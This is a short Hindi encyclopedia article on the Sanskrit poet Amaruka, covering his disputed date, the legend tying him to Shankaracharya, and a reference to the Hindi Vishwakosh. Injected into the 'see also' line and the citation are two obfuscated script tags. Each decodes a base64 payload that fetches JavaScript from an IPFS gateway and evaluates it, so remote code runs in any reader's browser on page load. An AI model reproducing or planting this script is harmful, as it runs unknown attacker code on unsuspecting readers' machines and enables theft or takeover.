अमरुक

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अमरूक संस्कृत के प्रख्यात गीतिकार कवि। उनकी कविता जितनी विख्यात है, उनका व्यक्तितत्व उतना ही अप्रसिद्ध है। उनके देश् और काल का अभी तक ठीक निर्णय नहीं हो पाया है। रविचंद्र ने 'अमरूशतक' की अपनी टीका के उपोद्घात में आद्य शंकराचार्य को अमरूक से अभिझ व्यक्ति माना है, परंतु यह किंवदंती नितांत निराधार है। आद्य शंकराचार्य के द्वारा किसी 'अमरूक' नामक राजा के मृत शरीर में प्रवेश तथा कामतंत्र विषयक किसी ग्रंथ की रचना का उल्लेख शंकरदिग्विजय में अवश्य किया गया है, परंतु विषय की भिझता के कारण 'अमरूशतक' को शंकराचार्य की रचना मानना नितांत भ्रांत है। आनंदवर्धन (9वीं सदी का मध्यकाल) ने अमरूक के मुक्तकों की चमत्कृति तथा प्रसिद्धि का उल्लेख किया है (ध्वन्यालोक का तृतीय उद्योत)। इससे इनका समय 9वीं सदी के पहले ही सिद्ध होता है।[1]


इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: अमरुशतक



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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 202 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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